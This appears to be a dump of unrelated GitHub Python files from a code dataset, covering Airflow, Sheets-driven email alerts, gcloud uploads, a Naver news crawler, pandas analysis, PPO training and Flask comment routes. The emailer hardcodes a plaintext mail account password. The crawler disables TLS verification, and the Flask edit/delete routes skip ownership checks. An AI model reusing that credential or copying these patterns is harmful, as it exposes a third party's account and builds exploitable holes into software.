BashOperator(task_id='give_me_an_id',\n bash_command=None,\n params={'friends': []},\n dag=None)\n\n\ndummy_task >> python_task\n","repo_name":"enricapq/docker-airflow-workshop","sub_path":"dags/hello_friends.py","file_name":"hello_friends.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70447643946","text":"from __future__ import print_function\n\nimport os.path\nimport time\n\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nimport datetime\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = ['https://www.googleapis.com/auth/spreadsheets.readonly']\n\n# The ID and range of a sample spreadsheet.\nSAMPLE_SPREADSHEET_ID = '111T2E0l0zNaxq4r3rXjNIXfSVNjMxWRYKCM0oFcda1Q'\nSAMPLE_RANGE_NAME = 'Лист1!A2:E'\n\n\ndef main():\n \"\"\"Shows basic usage of the Sheets API.\n Prints values from a sample spreadsheet.\n \"\"\"\n creds = None\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.json'):\n creds = Credentials.from_authorized_user_file('token.json', SCOPES)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.json', 'w') as token:\n token.write(creds.to_json())\n\n try:\n service = build('sheets', 'v4', credentials=creds)\n\n # Call the Sheets API\n sheet = service.spreadsheets()\n result = sheet.values().get(spreadsheetId=SAMPLE_SPREADSHEET_ID,\n range=SAMPLE_RANGE_NAME).execute()\n values = result.get('values', [])\n\n if not values:\n print('No data found.')\n return\n with open('body_mail.txt', 'w', encoding=\"utf-8\") as file:\n for row in values:\n date = row[1].split('.')\n target_date = datetime.datetime(int(date[2]), int(date[1]), int(date[0]))\n days_remaining = target_date - datetime.datetime.now()\n if days_remaining.days <= 45:\n file.write(f'Лицензия {row[0]} истекает через: {days_remaining.days} дней до {target_date}\\n', )\n\n with open('body_mail.txt', 'r', encoding='utf-8') as file:\n text = file.read()\n\n\n # Ваши учетные данные для почты\n sender_email = \"anpz_notify@mail.ru\"\n sender_password = \"SqN8cwA44fcTh7fBcJiy\"\n receiver_email = \"v.ten@anpz.kz\"\n\n # Создание объекта сообщения\n message = MIMEMultipart()\n message[\"From\"] = sender_email\n message[\"To\"] = receiver_email\n message[\"Subject\"] = \"ОПОВЕЩЕНИЕ ПО ЛИЦЕНЗИЯМ АНПЗ\"\n\n # Текст сообщения\n body = text\n message.attach(MIMEText(body, \"plain\"))\n\n # Подключение к серверу mail.ru\n server = smtplib.SMTP(\"smtp.mail.ru\", 587)\n server.starttls()\n server.login(sender_email, sender_password)\n\n # Отправка сообщения\n server.sendmail(sender_email, receiver_email, message.as_string())\n\n # Завершение работы с сервером\n server.quit()\n print('Сообщение успешно отправлено')\n\n print(f\"Лицензия '{row[0]}' истекает через: {days_remaining.days} дней до {target_date}\")\n\n\n except HttpError as err:\n print(err)\n\n\nif __name__ == '__main__':\n main()","repo_name":"vladislavten/my_work2","sub_path":"myWork/SENDLER Notify/sendler.py","file_name":"sendler.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35123209766","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport math\nimport os\nimport random\n\nfrom googlecloudsdk.api_lib.storage import api_factory\nfrom googlecloudsdk.api_lib.storage import cloud_api\nfrom googlecloudsdk.api_lib.storage import gcs_api\nfrom googlecloudsdk.command_lib.storage import tracker_file_util\nfrom googlecloudsdk.command_lib.storage.tasks import task\nfrom googlecloudsdk.command_lib.storage.tasks import task_executor\nfrom googlecloudsdk.command_lib.storage.tasks.cp import copy_component_util\nfrom googlecloudsdk.command_lib.storage.tasks.cp import file_part_upload_task\nfrom googlecloudsdk.command_lib.storage.tasks.cp import finalize_composite_upload_task\nfrom googlecloudsdk.core import properties\nfrom googlecloudsdk.core.util import scaled_integer\n\n\ndef _get_component_count(file_size, api_max_component_count):\n \"\"\"Returns the number of components to use for an upload.\"\"\"\n preferred_component_size = scaled_integer.ParseInteger(\n properties.VALUES.storage.parallel_composite_upload_component_size.Get())\n component_count = math.ceil(file_size / preferred_component_size)\n\n if component_count < 2:\n return 2\n if component_count > api_max_component_count:\n return api_max_component_count\n return component_count\n\n\ndef _get_random_prefix():\n \"\"\"Returns an ID distinguishing upload components from different machines.\"\"\"\n return str(random.randint(1, 10**10))\n\n\nclass FileUploadTask(task.Task):\n \"\"\"Represents a command operation triggering a file upload.\"\"\"\n\n def __init__(self,\n source_resource,\n destination_resource,\n user_request_args=None):\n \"\"\"Initializes task.\n\n Args:\n source_resource (resource_reference.FileObjectResource): Must contain\n local filesystem path to upload object. Does not need to contain\n metadata.\n destination_resource (resource_reference.ObjectResource|UnknownResource):\n Must contain the full object path. Directories will not be accepted.\n Existing objects at the this location will be overwritten.\n user_request_args (UserRequestArgs|None): Values for RequestConfig.\n \"\"\"\n super(FileUploadTask, self).__init__()\n self._source_resource = source_resource\n self._destination_resource = destination_resource\n self._user_request_args = user_request_args\n self.parallel_processing_key = (\n self._destination_resource.storage_url.url_string)\n\n self._composite_upload_threshold = scaled_integer.ParseInteger(\n properties.VALUES.storage.parallel_composite_upload_threshold.Get())\n\n def execute(self, task_status_queue=None):\n source_url = self._source_resource.storage_url\n source_filename = source_url.object_name\n\n if source_url.is_pipe:\n size = None\n else:\n size = os.path.getsize(source_filename)\n\n destination_provider = self._destination_resource.storage_url.scheme\n api_capabilties = api_factory.get_capabilities(destination_provider)\n should_perform_single_transfer = (\n source_url.is_pipe or size < self._composite_upload_threshold or\n not self._composite_upload_threshold or\n cloud_api.Capability.COMPOSE_OBJECTS not in api_capabilties or\n not task_executor.should_use_parallelism())\n\n if should_perform_single_transfer:\n file_part_upload_task.FilePartUploadTask(\n self._source_resource,\n self._destination_resource,\n offset=0,\n length=size,\n user_request_args=self._user_request_args).execute(task_status_queue)\n else:\n component_size_property = (\n properties.VALUES.storage.parallel_composite_upload_component_size)\n component_offsets_and_lengths = (\n copy_component_util.get_component_offsets_and_lengths(\n size,\n component_size_property.Get(),\n gcs_api.MAX_OBJECTS_PER_COMPOSE_CALL))\n\n tracker_file_path = tracker_file_util.get_tracker_file_path(\n self._destination_resource.storage_url,\n tracker_file_util.TrackerFileType.PARALLEL_UPLOAD,\n source_url=source_url)\n tracker_data = tracker_file_util.read_composite_upload_tracker_file(\n tracker_file_path)\n\n if tracker_data:\n random_prefix = tracker_data.random_prefix\n else:\n random_prefix = _get_random_prefix()\n\n tracker_file_util.write_composite_upload_tracker_file(\n tracker_file_path, random_prefix)\n\n file_part_upload_tasks = []\n for i, (offset, length) in enumerate(component_offsets_and_lengths):\n\n temporary_component_resource = (\n copy_component_util.get_temporary_component_resource(\n self._source_resource, self._destination_resource,\n random_prefix, i))\n\n upload_task = file_part_upload_task.FilePartUploadTask(\n self._source_resource,\n temporary_component_resource,\n offset,\n length,\n component_number=i,\n total_components=len(component_offsets_and_lengths),\n user_request_args=self._user_request_args)\n\n file_part_upload_tasks.append(upload_task)\n\n finalize_upload_task = (\n finalize_composite_upload_task.FinalizeCompositeUploadTask(\n expected_component_count=len(file_part_upload_tasks),\n source_resource=self._source_resource,\n destination_resource=self._destination_resource,\n random_prefix=random_prefix))\n\n return task.Output(\n additional_task_iterators=[\n file_part_upload_tasks,\n [finalize_upload_task]\n ],\n messages=None)\n","repo_name":"boostcampaitech2/final-project-level3-cv-15","sub_path":"serving/google-cloud-sdk/lib/googlecloudsdk/command_lib/storage/tasks/cp/file_upload_task.py","file_name":"file_upload_task.py","file_ext":"py","file_size_in_byte":5711,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8199822978","text":"import streamlit as st\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\nimport datetime\nfrom tqdm import tqdm\nimport pandas as pd\nimport urllib3\nimport openai\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.application import MIMEApplication\nimport os\n\nurllib3.disable_warnings()\n\nSCRAP_FILE = 'addup_scrap.csv'\nSUMMARY_FILE = 'addup_summary.csv'\n\ndef makePgNum(num):\n if num == 1:\n return num\n elif num == 0:\n return num + 1\n else:\n return num + 9 * (num - 1)\n\ndef makeUrl(search, start_pg, end_pg):\n if start_pg == end_pg:\n start_page = makePgNum(start_pg)\n url = \"https://search.naver.com/search.naver?where=news&sm=tab_pge&query=\" + search + \"&start=\" + str(start_page) + \"&sort=0&pd=1\"\n return [url]\n else:\n urls = []\n for i in range(start_pg, end_pg + 1):\n page = makePgNum(i)\n url = \"https://search.naver.com/search.naver?where=news&sm=tab_pge&query=\" + search + \"&start=\" + str(page) + \"&sort=0&pd=1\"\n urls.append(url)\n return urls\n\ndef news_attrs_crawler(articles, attrs):\n attrs_content = []\n for i in articles:\n attrs_content.append(i.attrs[attrs])\n return attrs_content\n\nheaders = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/98.0.4758.102\"}\n\ndef articles_crawler(url):\n original_html = requests.get(url, headers=headers, verify=False)\n html = BeautifulSoup(original_html.text, \"html.parser\")\n url_naver = html.select(\"div.group_news > ul.list_news > li div.news_area > div.news_info > div.info_group > a.info\")\n url = news_attrs_crawler(url_naver, 'href')\n return url\n\ndef main():\n st.title(\"네이버 기사 크롤링 및 요약 애플리케이션\")\n\n with st.expander(\"네이버 기사 크롤링\"):\n search = st.text_input(\"검색할 키워드를 입력해주세요:\")\n page = st.number_input(\"크롤링할 시작 페이지를 입력해주세요.\", value=1)\n page2 = st.number_input(\"크롤링할 종료 페이지를 입력해주세요.\", value=1)\n\n if st.button(\"크롤링 시작\"):\n url = makeUrl(search, page, page2)\n news_titles = []\n news_url = []\n news_contents = []\n news_dates = []\n\n for i in url:\n urls = articles_crawler(i)\n news_url.extend(urls)\n\n news_url_1 = []\n news_url_1.extend(news_url)\n\n final_urls = [url for url in news_url_1 if \"news.naver.com\" in url]\n\n for i in tqdm(final_urls):\n news = requests.get(i, headers=headers, verify=False)\n news_html = BeautifulSoup(news.text, \"html.parser\")\n title = news_html.select_one(\"#ct > div.media_end_head.go_trans > div.media_end_head_title > h2\")\n if title is None:\n title = news_html.select_one(\"#content > div.end_ct > div > h2\")\n\n # 뉴스 본문 가져오기\n content = news_html.select_one(\"article#dic_area\")\n if content is None:\n content = news_html.select_one(\"div#articleBodyContents\")\n if content is None:\n content = news_html.select_one(\"div.article_body_contents\")\n if content is None:\n content = \"Content not found\"\n\n content = ''.join(str(content))\n pattern1 = '<[^>]*>'\n title = re.sub(pattern=pattern1, repl='', string=str(title))\n content = re.sub(pattern=pattern1, repl='', string=content)\n pattern2 = \"\"\"[\\n\\n\\n\\n\\n// flash 오류를 우회하기 위한 함수 추가\\nfunction _flash_removeCallback() {}\"\"\"\n content = content.replace(pattern2, '')\n\n news_titles.append(title)\n news_contents.append(content)\n\n try:\n html_date = news_html.select_one(\"div#ct> div.media_end_head.go_trans > div.media_end_head_info.nv_notrans > div.media_end_head_info_datestamp > div > span\")\n news_date = html_date.attrs['data-date-time']\n except AttributeError:\n news_date = news_html.select_one(\"#content > div.end_ct > div > div.article_info > span > em\")\n news_date = re.sub(pattern=pattern1, repl='', string=str(news_date))\n news_dates.append(news_date)\n\n df = pd.DataFrame({\n 'index': range(1, len(news_titles) + 1),\n 'date': news_dates,\n 'title': news_titles,\n 'link': final_urls,\n 'contents': news_contents\n })\n df.to_csv(SCRAP_FILE, index=False)\n st.write(\"데이터가 addup_scrap.csv로 저장되었습니다.\")\n\ndef gpt_summarize(text):\n system_instruction = \"assistant는 user의 입력을 bullet point로 3줄로 요약해준다. 각 bullet point가 끝날 때마다 한 ��씩 바꾸어준다.\"\n messages = [{\"role\": \"system\", \"content\": system_instruction}, {\"role\": \"user\", \"content\": text}]\n response = openai.ChatCompletion.create(model=\"gpt-3.5-turbo\", messages=messages)\n result = response['choices'][0]['message']['content']\n return result\n\ndef send_email(subject, body, to_email, from_email, password):\n msg = MIMEMultipart()\n msg[\"From\"] = from_email\n msg[\"To\"] = \", \".join(to_email)\n msg[\"Subject\"] = subject\n\n body_part = MIMEText(body, \"html\")\n msg.attach(body_part)\n\n smtp_server = \"smtp.naver.com\"\n smtp_port = 587\n try:\n smtp_conn = smtplib.SMTP(smtp_server, smtp_port)\n smtp_conn.starttls()\n smtp_conn.login(from_email, password)\n smtp_conn.sendmail(from_email, to_email, msg.as_string())\n st.write(\"이메일이 성공적으로 발송되었습니다.\")\n except smtplib.SMTPException as e:\n st.write(\"이메일 발송 중 오류가 발생했습니다:\", e)\n finally:\n smtp_conn.quit()\n\n# Streamlit UI for Summarization and Email Section\nwith st.expander(\"기사 요약 및 메일 발송\"):\n # Load the scraped data\n try:\n df = pd.read_csv(SCRAP_FILE)\n st.write(df)\n \n if st.button(\"기사 요약\"):\n # Summarize each article\n df['contents'] = df['contents'].apply(gpt_summarize)\n \n # Save the summarized articles\n df.to_csv(SUMMARY_FILE, index=False)\n st.write(\"기사가 요약되어 addup_summary.csv로 저장되었습니다.\")\n \n # Display the summarized articles\n st.write(df)\n \n # Sending emails\n if st.button(\"메일 발송\"):\n subject = \"기사 요약 결과\"\n from_email = st.text_input(\"당신의 이메일 주소:\")\n password = st.text_input(\"당신의 이메일 패스워드:\", type='password')\n to_email = st.text_input(\"받는 사람의 이메일 주소 (','로 구분하여 여러 명에게 보낼 수 있습니다.)\").split(',')\n \n body = df.to_html()\n send_email(subject, body, to_email, from_email, password)\n \n except FileNotFoundError:\n st.write(f\"{SCRAP_FILE} 파일이 존재하지 않습니다. 먼저 기사를 크롤링해주세요.\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"waterbean0143/WB_KT_ENT_Pynews","sub_path":"addup/addup.py","file_name":"addup.py","file_ext":"py","file_size_in_byte":7443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33746747594","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[14]:\n\n\n#list\nA = [1,2,3,4,5,6]\nB = [13, 21, 34]\nC = A + B\nD = A.append(B)\nE = A.extend(B)\nprint(C)\nprint(D) #append does not work\nprint(E) #extend does not work\n\n\n# In[17]:\n\n\nimport numpy as np\nnp.identity(3) #3x3 array of identity matrix\n\n\n# In[20]:\n\n\n#Pandas\nimport pandas as pd\ncsv_df = pd.read_csv('https://raw.githubusercontent.com/WalePhenomenon/climate_change/master/fuel_ferc1.csv')\n#csv_df.to_csv('https://raw.githubusercontent.com/WalePhenomenon/climate_change/master/fuel_ferc1.csv', index=False)\n\n\n# In[22]:\n\n\nurl='https://raw.githubusercontent.com/WalePhenomenon/climate_change/master/fuel_ferc1.csv' \nfuel_data = pd.read_csv(url, error_bad_lines=False) \nfuel_data.describe(include='all')\n\n\n# In[23]:\n\n\n#check for missing values \nfuel_data.isnull().sum()\n\n\n# In[24]:\n\n\n#use groupby to count the sum of each unique value in the fuel unit column \nfuel_data.groupby('fuel_unit')['fuel_unit'].count() \nfuel_data[['fuel_unit']] = fuel_data[['fuel_unit']].fillna(value='mcf') \n\n\n# In[25]:\n\n\n#check if missing values have been filled \nfuel_data.isnull().sum() \nfuel_data.groupby('report_year')['report_year'].count() \n\n\n# In[26]:\n\n\n#group by the fuel type code year and print the first entries in all the groups formed \nfuel_data.groupby('fuel_type_code_pudl').first()\n\n\n# In[28]:\n\n\n#Merging in Pandas can be likened to join operations in relational databases like SQL \nfuel_df1 = fuel_data.iloc[0:19000].reset_index(drop=True) \nfuel_df2 = fuel_data.iloc[19000:].reset_index(drop=True)\n#check that the length of both dataframes sum to the expected length assert \nlen(fuel_data) == (len(fuel_df1) + len(fuel_df2)) \n\n\n# In[29]:\n\n\n#outer merge returns all rows in both dataframes \npd.merge(fuel_df1, fuel_df2, how=\"outer\") \n\n\n# In[30]:\n\n\n#removes rows from the right dataframe that do not have a match with the left \n#and keeps all rows from the left \npd.merge(fuel_df1, fuel_df2, how=\"left\") \n\n\n# In[32]:\n\n\n#standard deviattion\nprint(fuel_data.std())\n\n\n# In[34]:\n\n\n#75th percentile\nprint(fuel_data.quantile(0.75)) # 75th percentile\n\n\n# In[35]:\n\n\n#skew\ndataFrame = pd.DataFrame(data=fuel_data);\nskewValue = dataFrame.skew(axis=1)\nprint(skewValue)\n\n\n# In[37]:\n\n\n#kurt\ndataFrame = pd.DataFrame(data=fuel_data);\nkurt = dataFrame.kurt(axis=1)\nprint(kurt)\n\n\n# In[38]:\n\n\n# Import plotting library\nimport seaborn as sns\n\n# Box plot\nsns.boxplot(x=\"fuel_type_code_pudl\", y=\"utility_id_ferc1\",\n palette=[\"m\", \"g\"], data=fuel_data)\n# KDE plot \nsns.kdeplot(sample_df['fuel_cost_per_unit_burned'], shade=True, color=\"b\")\n\n\n# In[39]:\n\n\n# Import plotting library\nimport matplotlib.pyplot as plt\n\nplt.figure(figsize=(7,4))\nplt.xticks(rotation=90)\nfuel_unit = pd.DataFrame({'unit':['BBL', 'GAL', 'GRAMSU', 'KGU', 'MCF', 'MMBTU', 'MWDTH', 'MWHTH', 'TON'],\n 'count':[7998, 84, 464, 110, 11354, 180, 95, 100, 8958]})\nsns.barplot(data=fuel_unit, x='unit', y='count')\nplt.xlabel('Fuel Unit')\n\n#Because of the extreme range of the values for the fuel unit, we can plot the barchart by taking the logarithm of the y-axis as follows:\n\n\ng = sns.barplot(data=fuel_unit, x='unit', y='count')\ng.set_yscale(\"log\")\ng.set_ylim(1, 12000)\nplt.xlabel('Fuel Unit')\n\n\n# In[40]:\n\n\n# Select a sample of the dataset\nsample_df = fuel_data.sample(n=50, random_state=4)\nsns.regplot(x=sample_df[\"utility_id_ferc1\"], y=sample_df[\"fuel_cost_per_mmbtu\"], fit_reg=False)\n\n","repo_name":"adigun91/Hamoye-Machine-Learning-Quiz","sub_path":"Hamoye Assignment_updated.py","file_name":"Hamoye Assignment_updated.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14446102501","text":"import logging\n\nfrom pyspark.sql import SparkSession\n\n\nclass SparkSessionManager:\n def __init__(self):\n self.spark = None\n\n @staticmethod\n def suppress_py4j_logging():\n logger = logging.getLogger('py4j')\n logger.setLevel(logging.WARN)\n\n @staticmethod\n def create_testing_pyspark_session():\n return (SparkSession.builder\n .master('local')\n .appName('pyspark-test')\n .enableHiveSupport()\n .getOrCreate())\n\n @staticmethod\n def start():\n SparkSessionManager.suppress_py4j_logging()\n spark = SparkSessionManager.create_testing_pyspark_session()\n return spark\n\n @staticmethod\n def stop():\n spark = SparkSessionManager.create_testing_pyspark_session()\n spark.stop()\n\n\nif __name__ == '__main__':\n import sys\n if sys.argv[1] == 'start':\n print('starting Spark session')\n SparkSessionManager.start()\n elif sys.argv[1] == 'stop':\n print('stopping Spark session')\n SparkSessionManager.stop()\n else:\n raise ValueError(\"Arg not start or end, call this file as 'python spark_session_manager.py start'\")\n","repo_name":"damirexzael/spark_jobs","sub_path":"tests/spark_session_manager.py","file_name":"spark_session_manager.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44124697591","text":"#!/usr/bin/python\n\nimport sys\nimport wx\n\n\nclass pySketch(wx.Panel):\n\tdef __init__(self, parent=None, id=-1, tty=sys.stdout):\n\t\twx.Panel.__init__(self, parent, id)\n\t\t#self.SetBackgroundColour('White')\n\t\tself.create_widgets()\n\n\t\n\tdef create_widgets(self):\n\t\twx.StaticText(self, -1, 'Not implemented yet...', pos=(120, 80))\n\n\nclass testFrame(wx.Frame):\n\tdef __init__(self, parent=None, id=-1, pos=wx.DefaultPosition, size=wx.DefaultSize):\n\t\twx.Frame.__init__(self, parent, -1, pos=pos, size=size)\n\t\tself.panel = pySketch(self)\n\nclass MyApp(wx.App):\n\tdef OnInit(self):\n\t\tself.frame = testFrame(pos=(300,120), size=(320, 200))\n\t\tself.frame.Show()\n\t\tself.SetTopWindow(self.frame)\n\t\treturn True\n\n\nif __name__ == '__main__':\n\tmyapp = MyApp()\n\tmyapp.MainLoop()\n","repo_name":"chunis/npyfind","sub_path":"pySketch.py","file_name":"pySketch.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15981697073","text":"import os\nimport sys\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch import optim\n\nimport ipdb\n\n\nfrom pathlib import Path\nparent_dir = Path(__file__).absolute().parent.parent.parent\nsys.path.append(os.path.abspath(parent_dir))\n\nfrom rl.utils import ScaleParameterizedNormal\nfrom rl.algorithms.actor_critic import ActorCritic\n\nclass PPO(ActorCritic):\n def __init__(\n self,\n model_name: str,\n feature_shape: int,\n action_shape: int,\n hidden_size: int,\n output_activation: str,\n device: torch.device,\n batch_size: int=64,\n n_ppo_epochs: int=4,\n clip_param: float=0.1,\n world_lr: float=1e-3,\n critic_lr: float=5e-3,\n actor_lr: float=1e-3,\n entropy_lr: float=1e-3,\n weight_decay: float=0.0,\n init_scale: float=1.0,\n n_envs=1,\n ent_coef=1.0,\n max_grad_norm=1.0,\n normalize_factor=1.0,\n dropout=0.0,\n encoding_type=\"none\",\n encoding_size=128,\n use_goal_state=False,\n goal_position=(550.0, 0.0)\n ) -> None:\n \"\"\"Initializes the actor and critic networks and their respective optimizers.\"\"\"\n super().__init__(model_name, feature_shape, action_shape, hidden_size, output_activation,\n device, init_scale, n_envs, normalize_factor, dropout, encoding_type, encoding_size,\n use_goal_state, goal_position)\n self.ent_coef = ent_coef\n self.max_grad_norm = max_grad_norm\n\n self.batch_size = batch_size\n self.n_ppo_epochs = n_ppo_epochs\n self.clip_param = clip_param\n\n # define optimizers for actor and critic\n if self.model_name in [\"world\", \"world_gpt\"]:\n self.world_params = list(self.world_encoder.parameters())\n self.critic_params = list(self.critic.parameters())\n self.actor_params = list(self.actor.parameters())\n self.entropy_params = list(self.dist.parameters())\n\n if self.model_name in [\"world\", \"world_gpt\"]:\n self.world_optim = optim.Adam(self.world_params, lr=world_lr, weight_decay=weight_decay)\n self.critic_optim = optim.Adam(self.critic_params, lr=critic_lr, weight_decay=weight_decay)\n self.actor_optim = optim.Adam(self.actor_params, lr=actor_lr, weight_decay=weight_decay)\n self.entropy_optim = optim.Adam(self.entropy_params, lr=entropy_lr, weight_decay=weight_decay)\n\n def get_losses(self,\n states_batch,\n actions_batch,\n value_preds_batch,\n returns_batch,\n masks_batch,\n old_action_log_probs_batch,\n advantages_batch\n ):\n state_values, action_log_probs, entropy = self.evaluate_actions(states_batch, actions_batch)\n values = state_values.squeeze()\n\n value_pred_clipped = value_preds_batch + (values - value_preds_batch).clamp(-self.clip_param, self.clip_param)\n value_losses = (values - returns_batch).pow(2)\n value_losses_clipped = (value_pred_clipped - returns_batch).pow(2)\n critic_loss = 0.5 * torch.max(value_losses, value_losses_clipped).mean()\n\n ratio = torch.exp(action_log_probs - old_action_log_probs_batch)\n surr1 = ratio * advantages_batch\n surr2 = torch.clamp(ratio, 1.0 - self.clip_param, 1.0 + self.clip_param) * advantages_batch\n actor_loss = -torch.min(surr1, surr2).mean()\n\n return (critic_loss, actor_loss, entropy)\n\n def update_parameters(self, memory):\n advantages = (memory.advantages - memory.advantages.mean()) / (memory.advantages.std() + 1e-5)\n\n critic_losses = []\n actor_losses = []\n entropies = []\n if self.model_name in [\"world\", \"world_gpt\"]:\n keep_state_dict = True\n else:\n keep_state_dict = False\n\n for epoch in range(self.n_ppo_epochs):\n data_generator = memory.get_ppo_data_generator(self.batch_size, advantages, keep_state_dict)\n\n for sample in data_generator:\n\n critic_loss, actor_loss, entropy = self.get_losses(*sample)\n total_loss = critic_loss + actor_loss - self.ent_coef * entropy\n\n if self.model_name in [\"world\", \"world_gpt\"]:\n self.world_optim.zero_grad()\n self.critic_optim.zero_grad()\n self.actor_optim.zero_grad()\n self.entropy_optim.zero_grad()\n\n total_loss.backward()\n\n if self.model_name in [\"world\", \"world_gpt\"]:\n nn.utils.clip_grad_norm_(self.world_params, self.max_grad_norm)\n nn.utils.clip_grad_norm_(self.critic_params, self.max_grad_norm)\n nn.utils.clip_grad_norm_(self.actor_params, self.max_grad_norm)\n nn.utils.clip_grad_norm_(self.entropy_params, self.max_grad_norm)\n\n if self.model_name in [\"world\", \"world_gpt\"]:\n self.world_optim.step()\n self.critic_optim.step()\n self.actor_optim.step()\n self.entropy_optim.step()\n\n critic_losses.append(critic_loss.item())\n actor_losses.append(actor_loss.item())\n entropies.append(entropy.item())\n \n return (np.mean(critic_losses), np.mean(actor_losses), np.mean(entropies))\n\n\n\n\n","repo_name":"xyz961014/Football2D","sub_path":"rl/algorithms/ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35778060744","text":"from enum import auto\nfrom flask import Blueprint, request, session\nfrom flask_login import login_required, current_user\nfrom app.models import db, Comment, User\nfrom app.forms import CommentForm\nfrom .utils import validation_errors_to_error_messages\n\n\ncomment_routes = Blueprint('comments', __name__)\n\n\n# GET ALL comments by videoId\n@comment_routes.route('/')\n@login_required\ndef get_all_comments(id):\n # Can we do something like video.profile.userid?\n # user = User.query.get(id)\n # if user.id != current_user.id:\n # return {'errors': ['Invalid Request: Unauthorized']}, 403\n # print('hit route')\n comments = Comment.query.filter(Comment.videoId == id).all()\n print('***********comments')\n comment_dict_list = [comment.to_dict() for comment in comments]\n print(comment_dict_list)\n # comments_by_commentId = {comment['id']: comment for comment in comment_dict_list}\n # if current_user.is_authenticated:\n return {'comments': comment_dict_list}\n # return {'errors': ['Unauthorized']}\n\n\"\"\"\nIf use \"/\" below, get FormDataRoutingRedirect error, informing you that your request\nThe URL was defined with a trailing slash so Flask will automatically redirect to\nthe URL with the trailing slash if it was accessed without one.\nMake sure to directly send your POST-request to this URL since we can't make\nbrowsers or HTTP clients redirect with form data reliably or without user\ninteraction. Note: this exception is only raised in debug mode\"\n\"\"\"\n\n@comment_routes.route(\"\", methods=[\"POST\"])\n@login_required\ndef post_comment():\n\n form = CommentForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n comment = Comment(\n profileId= form.profileId.data,\n videoId= form.videoId.data,\n text= form.text.data\n )\n\n db.session.add(comment)\n db.session.commit()\n\n return comment.to_dict()\n\n if form.errors:\n return {'errors': validation_errors_to_error_messages(form.errors)}, 418\n\n return {\"error\": \"Failed\"}\n\n# UPDATE ONE comment by commentId - LOGGED-IN USER ONLY\n@comment_routes.route('/', methods=['PATCH'])\n@login_required\ndef patch_comment(id):\n # user = User.query.get(comment.profile.userId)\n # print(comment)\n # print(user)\n # if user.id != current_user.id:\n # return {'errors': ['Invalid Request: Unauthorized']}\n\n comment = Comment.query.get(id)\n form = CommentForm()\n\n # Get csrf_token from request cookie and put into form manually\n form['csrf_token'].data = request.cookies['csrf_token']\n\n if form.validate_on_submit():\n\n\n comment.text= form.text.data\n\n db.session.commit()\n\n return comment.to_dict()\n\n # handle errors, automatically creates csrf error, if token not present\n if form.errors: # check if errors exist\n\n # send errors to frontend\n return {'errors': validation_errors_to_error_messages(form.errors)}, 418\n\n@comment_routes.route('/', methods=['DELETE'])\n@login_required\ndef delete_comment(id):\n\n comment = Comment.query.get(id)\n # user = comment.profile.userId\n # if user.id != current_user.id:\n # return {'errors': ['Invalid Request: Unauthorized']}\n db.session.delete(comment)\n db.session.commit()\n return {'message': 'Success'}\n\n\n# #TESTING\n# GET comments by videoId\n# fetch('/api/comments/1').then((res)=> res.json())\n# .then((data)=> console.log(data))\n\n#POST comment\n# fetch('/api/comments', {\n# method: 'POST',\n# headers: {'Content-Type': 'application/json'},\n# body: JSON.stringify({\n# profileId: 1,\n# videoId: 1,\n# text: 'yet another comment',\n# }),\n# })\n# .then((res)=> res.json())\n# .then((data)=> console.log(data))\n\n#PATCH comment\n# fetch('/api/comments/6', {\n# method: 'PATCH',\n# headers: {'Content-Type': 'application/json'},\n# body: JSON.stringify({\n# text: 'TEST',\n# }),\n# })\n# .then((res)=> res.json())\n# .then((data)=> console.log(data))\n\n# DELETE comment\n# fetch('/api/comments/6', {\n# method: 'DELETE',\n# })\n# .then((res)=> res.json())\n# .then((data)=> console.log(data))\n","repo_name":"thisismydisplay/rflix","sub_path":"app/api/comment_routes.py","file_name":"comment_routes.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31895564850","text":"from sympy import *\r\nfrom geom2D import *\r\nxA,yA,xB,yB,xC,yC=symbols('xA,yA,xB,yB,xC,yC',real=True)\r\n\r\nA=Point2D(xA,yA)\r\nB=Point2D(xB,yB)\r\nC=Point2D(xC,yC)\r\nH=Hcenter(A,B,C)\r\nG=Gcenter(A,B,C)\r\nO=Ocenter(A,B,C)\r\nrez=G.is_collinear(O,H)\r\nprint('The points are collinear : 